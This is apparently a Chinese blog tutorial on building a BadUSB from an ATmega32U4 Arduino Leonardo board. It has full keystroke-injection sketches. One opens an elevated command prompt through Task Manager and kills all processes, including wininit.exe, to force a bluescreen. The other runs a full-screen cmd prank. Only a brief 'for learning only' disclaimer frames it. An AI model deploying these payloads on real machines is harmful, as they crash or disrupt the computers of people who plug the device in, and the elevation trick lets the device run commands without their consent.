说明
本文章仅供学习交流,请勿用于非法用途
我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board
软件-Arduino
Kali下自带
Windows下 官网下载地址 https://downloads.arduino.cc/arduino-1.8.13-windows.exe
开始制作
打开Arduino
在工具中择开发板 ‘Arduino Leonardo’
然后选择端口
然后就可以编写程序了
接下来是一些示例
1.蓝屏
#include <Keyboard.h>
void setup() {
Keyboard.begin(); //开始
delay(2000); //等待两秒
Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键
Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键
Keyboard.press(KEY_ESC); //按下ESC键
Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC)
//以上代码执行结果: 打开任务管理器
delay(500); //等待0.5秒 作用: 等待任务管理器启动
Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键
Keyboard.press('f'); //按下f键
Keyboard.release('f'); //松开f键
Keyboard.press('n'); //按下n键
Keyboard.releaseAll(); //松开所有(n,Alt)
delay(500); //等待0.5秒 作用: 等待运行的启动
Keyboard.press(KEY_TAB); //按下Tab键
Keyboard.release(KEY_TAB); //松开Tab键
Keyboard.press(' '); //按下空格键
Keyboard.release(' '); //松开空格键
//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法
Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
delay(500); //等待0.5秒 作用: 等待cmd的启动
Keyboard.println("taskkill /f /fi \"pid ne 1\""); //在cmd中输入蓝屏指令
Keyboard.println("taskkill /f /im wininit.exe"); //指令2(其实一个就够了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //结束
}
void loop() {
// put your main code here, to run repeatedly:
}
2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁
#include <Keyboard.h>
void setup() {
pinMode(13, OUTPUT); //这行加上void loop()下面都是LED闪烁
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
//以上三行: 打开运行
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd");
delay(500);
Keyboard.press(KEY_F11);
Keyboard.release(KEY_F11);
//以上两行: 全屏(Win10有效)
Keyboard.println("color 4");
Keyboard.println("dir/s");
Keyboard.println("tree d:");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {
digitalWrite(13, HIGH);
delay(300); //点亮时间
digitalWrite(13, LOW);
delay(300); //熄灭时间
}
写入到BadUSB
点击有向左箭头的按钮即可写入
看到上传成功字样就大功告成了!
注意: 上传后BadUSB会立即执行一遍代码
在结尾说一下,以后我会编一个编写这种程序的工具
创作不易,点个赞再走呗